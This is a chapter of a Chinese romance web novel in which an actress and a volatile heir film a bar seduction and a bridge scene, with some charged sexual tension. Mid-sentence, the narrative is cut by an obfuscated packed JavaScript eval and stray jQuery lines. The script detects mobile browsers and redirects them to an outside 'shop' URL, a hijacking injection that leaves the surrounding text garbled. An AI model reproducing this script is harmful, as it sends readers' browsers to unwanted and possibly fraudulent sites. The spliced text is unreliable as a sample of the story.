商颂回到片场时,心脏悬在嗓子眼。
她怕周彻那不可一世的少爷脾气发作,说走就走;也怕这场名为拍戏实为“熬鹰”的游戏突然按下终止键,那样等待她的就是更纯粹的囚禁。
“各部门准备!三、二、一,Action!”
还好,段南桥不愧是拿过奖的“戏疯子”,也不知用了什么法子,不仅稳住了这尊大佛,甚至让周彻眼底那种随时要爆发的戾气,完美地转化为了镜头前所需的冷血与厌世。
戏里的时间线回到事件开端,易为春与周游的初遇被乔装成一场落花流水的意外。镜头推进,“WidderBar”昏暗的角落。
周彻穿着那件从他自己衣柜里拿来的深炭灰羊绒大衣,黑衬衫没打领带,领口微敞。他不需要化妆师去刻意修饰那种“富贵闲人”的倦怠,他只是坐在那里,手里晃着一杯单麦威士忌,便是将整个世界都视为消遣道具的傲慢。
这不是演戏,这是周大少的日常。
戏中周游很无聊。
自二十二岁接手家族在欧陆的航运线三年,他得过太多的阿谀奉承,扫过太多贴上来的女人。那些女人像流水线上的罐头,或者是精装的书籍,还没翻开,他就已经知道了结局。
无论她们表现得多么清高、泼辣、或者温柔小意,只要他稍微晃一晃手指缝里漏下的一点资源,她们眼里的光就会变成狼的贪婪或狗的顺从。
“周先生,那边有桌留学生一直在看这边。”坐在他对面的朋友低声笑道,这人叫陆行,是当地有名的二世祖,也就他在周游面前敢大声说话。
周游连眼皮都没抬,修长的手指轻轻敲击着杯壁,“吵。”
“别这么冷淡嘛,这异国他乡的。虽然我也知道,咱们周先生什么样的国色天香没见过,早已万叶丛中过,片叶不沾身了。”
周游嗤笑一声:“那是她们本身就没有粘性。”
正如陆行所言,他不是柳下惠,但他对猎物的挑剔程度令人发指。他喜欢聪明人,但讨厌自作聪明;喜欢美人,但厌恶美而无脑。
就在这时,酒吧厚重的橡木门被推开了。
易为春就是在这个时候走进来的。
她没有带伞。黑色的长发湿漉漉地贴在脸颊一侧,她穿得并不像那些在苏黎世酒吧里急于展示身材的女孩,反而把自己裹得很严实——一件款式有些复古的男式大廓形风衣,腰带随意地束着,脚下是一双沾了雪泥的黑色短靴。
如果不看脸,她像个落魄的流浪客。
但周游抬眸的那一瞬间,目光在她脸上停顿了两秒。
那是一张没有任何讨好意味的脸。五官极具冲击力,带着一股子从泥土里刚被拔出来的生劲儿,眼尾却微微上挑,生着一粒极淡的泪痣。她像是从某种古老画卷里走出来的妖精,却被现代文明的暴雪淋了个透心凉。
她并没有环顾四周寻找座位,也没有像其他人那样对周围奢华的环境露出哪怕一丝好奇。她只是径直走向吧台,路过周游这一桌时,她的脚步并没有放慢。
但是在经过他身边的一刹那,变故发生了。
因为风衣下摆太长,也或许是地上的水渍太滑,她稍微踉跄了一下。
周彻下意识伸出的手,也不是演的,那是他身体本能地护住商颂。但他在半空中顿了一下,化为了“周游”的冷淡一扶。
隔着羊绒大衣和衬衫,他能感觉到那一瞬的抓力。
不重,却带着惊人的热度。
商颂并没有出戏,段南桥也没有喊Cut。
接着是一个烂俗到极点的桥段。借火。
易为春很清楚,如果她直接走过去说“先生借个火”,或者抛个媚眼,周游大概率只会让保镖把她丢出去,或者用那种看垃圾的眼神直接把她冻死在原地。
所以她没有走过去。
她只是咬着那根未点燃的烟,侧身坐在高脚椅上,一条长腿随意地垂下,目光虚虚地扫过周游的方向。
眼神没有聚焦在他那张英俊得过分的脸上,而是在看他头顶那盏昏黄摇曳的复古水晶吊灯。
她的眼神里有种破碎感。仿佛她嘴里叼的不是烟,是她今晚最后一口赖以生存的氧气。
然后,她像是终于放弃了寻找火源,有些自嘲地勾了勾嘴角,拿下烟,轻轻叹了口气,准备把它放回那个干瘪的烟盒。
那声叹息很轻。
但在爵士乐偶尔的停顿间隙里,像是一根羽毛,精准地扫过了周游的耳膜。
周游放下了酒杯。他一直没移开的目光,就这样沉沉地看着她。
这个距离,他能清晰地看清她侧脸优美的下颌线,还有那截被黑色高领毛衣包裹显得格外修长的脖颈。她看起来很落寞,那种落寞不像是演给别人看的,倒像是一朵快要枯萎的野玫瑰,在等待一场不知会不会来的救赎,或者毁灭。
这种颓废的美感,恰好戳中了周游那种变态的审美。
鬼使神差地,周游拿起了桌上那只价值不菲的黑金色都彭打火机。
“当。”
一声清脆悦耳的金属开盖声。
都彭火机特有的声响,在这静谧的空间里显得格外突兀,像是某种信号。
易为春正要收烟的手顿住了。她缓缓转过头,视线终于第一次,真真正正地聚焦在周游的脸上。
这一次,她看清了他眼底那种似笑非笑。
周游手里把玩着那个金属方块,并没有说话,只是微微扬了扬下巴,眼神玩味地示意了一下。那意思很明显,带着居高临下的施舍:要火吗?
易为春没有立刻起身。
她盯着周游看了足足五秒。这五秒钟是一场极其精密的心理博弈。
如果她立刻感激涕零地跑过去,那就落了下乘,成了那种招之即来的庸脂俗粉;如果她清高地拒绝,那就是不识好歹,会让他彻底失去兴趣。
于是,她突然笑了。
那笑容极淡,像冰雪初融,却又带着一点点坏。
她站起身,拎着烟走了过去。但她没有走到他身边,也没有试图坐下,而是走到了他卡座旁边的过道,维持着一个极其微妙的安全社交距离。
她微微俯身,长发垂落下来,遮住了一半脸庞,将那根烟递到了他面前。
这个距离,依然不够近。
如果周游要给她点火,他就必须稍微探身,或者抬手。
这是她在逼他“动”。
在这场上位者与下位者的游戏中,只要那个高高在上的神动了一下,哪怕只是抬一下手,那种绝对的控制姿态就破了一角。
周游看着凑近的那张脸。
近看皮肤更细,甚至能看清她鼻尖上一点小小的红——那是刚才在外面被风雪冻的。她身上没有浓烈的高级香水味,只有一股混合了清冽的雨雪、廉价的洗衣粉和某种说不清道不明的苦橙花的生涩味道。
这就是陆行口中“新鲜”的味道。
周游抬手。
“咔哒”一声。蓝色的火焰在金属机口窜起。
易为春低头,凑近火苗。
火光照亮了她的眉眼,那一瞬间,她的睫毛颤动,然后极其大胆地向上抬起。
隔着缭绕升起的第一缕烟雾,她极具侵略性地看了周游一眼。
那个眼神,又野,又媚,像是要透过他的眼睛,看到他心里那片废墟。
烟点着了。
她并没有立刻退开。
她直起身,红唇含着烟嘴,深吸了一口。
然后,她做了一个让周游没想到的动作。她微微仰头,将那一口淡薄的烟雾,并没有直接喷在他脸上,而是顺着风向,缓缓地吐向了周游领口的位置。
烟雾缭绕在他鼻端,带着她的气息。
“谢谢。”
她声音低柔,带着被烟草熏过后的沙哑。
“不用。”周游合上火机,声音依旧平稳冷淡,但手指却无意识地摩挲了一下金属外壳上那繁复的纹路。
易为春没有走。
她站在那里,手指夹着烟,另一只手插在风衣口袋里,忽然开口问了一个极其突兀且充满文艺病的问题:
“先生。如果你有一艘船,但你知道它注定永远到不了岸,你会选择就在这暴风雨里凿沉它,还是让它继续在海上飘着等死?”
这个问题没头没脑,甚至矫情得有些做作。
但放在这个暴雪封城的苏黎世深夜,放在这两个同样灵魂似乎无处可去且都带着一身伤痕的人之间,竟然产生了一种奇妙的化学反应。
因为周游是真的有一艘“沉船”。不仅仅是家族的生意,更是他心里的那道疤。
周游抬眼,这次终于正眼对上了她的视线。他阅人无数,听过无数搭讪的开场白。有的聊百达翡丽,有的聊苏富比拍卖,有的聊星座缘分。
只有她,上来就聊毁灭。
周游向后靠在沙发背上,换了个更慵懒也更具审视意味的姿势,“那取决于船上载的是什么。是黄金,还是垃圾。”
易为春轻轻弹了弹烟灰,那动作并不熟练,却又极其优雅,“如果载着的是你最想丢掉,却又最舍不得丢掉的东西呢?”
周游的瞳孔微微一缩。
这女人,有点意思。
“那就烧了。”周游淡淡道,“连船带货,一把火烧个干净。看不见,就不心烦。”
够狠。这才是那个传说中六亲不认的周疯子。
易为春眼里的笑意加深了。她知道自己这把梭|哈赌对了。周游这种人,表面看起来遵循上流社会的规则,其实骨子里全是暴戾的破坏欲。
“英雄所见略同。”
她说着,做了一个让周游意想不到的动作。
她没有要顺杆爬坐下的意思,也没有继续攀谈要个联系方式。
她将那根只抽了两口、大部分还在燃烧的烟,极其干脆地按灭在周游桌上那个精致的水晶烟灰缸里。
那点火星在水晶底座上嘶嘶作响,最后变成一缕死灰。
然后,她从那个破风衣的口袋里掏出了一样东西。
不是名片,也不是手机。
是一颗糖。
那种便
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126698|196108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
利店收银台旁边最廉价的、蓝白色包装纸的薄荷硬糖。
她将糖放在那把价值好几万的都彭打火机旁边。
“那就不打扰您的烧船雅兴了。”
她把糖往前推了推,“借火的报酬。”
说完,她竟然转身就走。
转场画展,两人再次相遇,周游正式认识易为春或者是Cecilia,两人走到利马特河边的一座桥上。
底下是漆黑冰冷的河水,无声地流淌。
“刚才你说,想剪我的头发。”周游忽然旧事重提,背对着河水,双手撑在栏杆上,风把他的长风衣吹得猎猎作响。
“比喻而已。”
“我不喜欢比喻。”周游从大衣口袋里,竟然掏出了一把折叠刀。
刀锋弹出,在路灯下闪过寒光。
他把刀柄递给易为春,另一只手抓起自己的一缕长发。
“想剪吗?给你个机会。”他的眼神疯狂而执拗,“只有一次机会。剪了,我就是你的。”
易为春愣在原地。
这男人疯了。
彻头彻尾的疯子。他在用这种极端的方式测试她的胆量,也在试探她所谓的“征服”到底是不是叶公好龙。
易为春看着那把刀,又看着他被夜风吹乱的几缕碎发和那双充满挑衅的眼睛。
此时此刻,周游就像是那个站在悬崖边的海妖,在引诱水手撞上礁石。
接,还是不接?
如果接了剪下去,这或许是个震撼的举动,但也可能让他瞬间失去兴趣,毕竟真剪坏了他的形象,这少爷发起火来难以收拾。如果不接,那就是怂了,之前的豪言壮语瞬间变成笑话。
易为春深吸一口气。
她伸手,握住了那把刀。
刀柄冰冷沉重。
她往前走了一步,靠近周游。
周游没有动,甚至连眼睛都没有眨一下,就这样似笑非笑地看着她。
易为春抬起手,刀锋逼近了他的发梢。
就在刀刃即将触碰到头发的那一瞬间,她手腕猛地一转。
“铮!”
并不是头发断裂的声音。
那是刀刃割断了他大衣第二颗纽扣线的声音。
那颗昂贵的由黑玛瑙制成的纽扣,“啪嗒”一声掉落在地上,滚了几圈,并没有掉进河里,而是停在了易为春脚边。
周游有些意外地挑了挑眉。
易为春弯腰,捡起那颗纽扣,当着他的面,把它放进了自己贴身的口袋里。
“身体发肤,受之父母。我可不想当你那个大逆不道的罪人。”
易为春合上折叠刀,把它塞回周游的风衣口袋里,还要顺便替他整理了一下有些敞开的领口。
“我要这个纽扣就够了。”她抬起头,笑意盈盈,眼里藏着钩子,“它是距离你心脏最近的那一颗。”
这个回答,简直满分。
既保留了他的头发,又展现了她的侵略性,还附带了一个浪漫至极的理由。
周游看着她,看了很久。
风雪在他的睫毛上凝结成霜。
那种疯狂的神色逐渐从他眼里褪去,变成了一种类似于看到同类般的认可。
这女人不仅聪明,而且懂进退,知分寸,却又能在分寸之内把他撩拨得火烧火燎。
“易为春。”
他第一次这么正式地叫她的全名。
“怎么了,周先生?”
周游突然伸手,一把揽过她的腰,这次不再是试探,而是结结实实地将她扣在怀里。那头马尾垂落,他低下头,冰凉的鼻尖抵着她的鼻尖。
“明天我要飞伦敦。”他说,“行程三天。”
“祝你一路顺风?”易为春问,心里却在盘算这三天是不是这男人的冷静期。
“我不喜欢只有我一个人不舒服。”周游的唇距离她只有几毫米,“既然你拿走了我的扣子,我不拿点什么,这生意我就亏了。”
“那你想要什么?”
“我想看看,你的口红味道是不是和你的嘴一样硬。”
下一秒,吻落了下来。
不是偶像剧里那种唯美的慢镜头。而是一个带着惩罚和掠夺的深吻。
他在冰天雪地的桥头,在异国他乡的风中,在那件黑色长风衣的包裹下,肆无忌惮地入侵了她的领地。他的长发扫过商颂的脸颊,痒,却带着令人心悸的触感。
商颂没有推开。
她双手环住他的脖子,手指深深地插入了他后脑勺的头发里,揪紧。
在这场吻里,没有谁是输家。
直到两人都气喘吁吁,周彻才松开她。他的嘴唇上也沾染了她的口红,那一抹红在他苍白的脸上显得格外情|色。
他拇指抹去唇角的红痕,眼神幽暗如狼。
“三天后我回来。”他把那一头此时已经被她弄得凌乱不堪的长发解开,黑发瞬间如瀑布般散落,“把你自己洗干净。这次,我不只想要一颗糖或者一个吻了。”
这是加戏。
也是周彻的本色出演。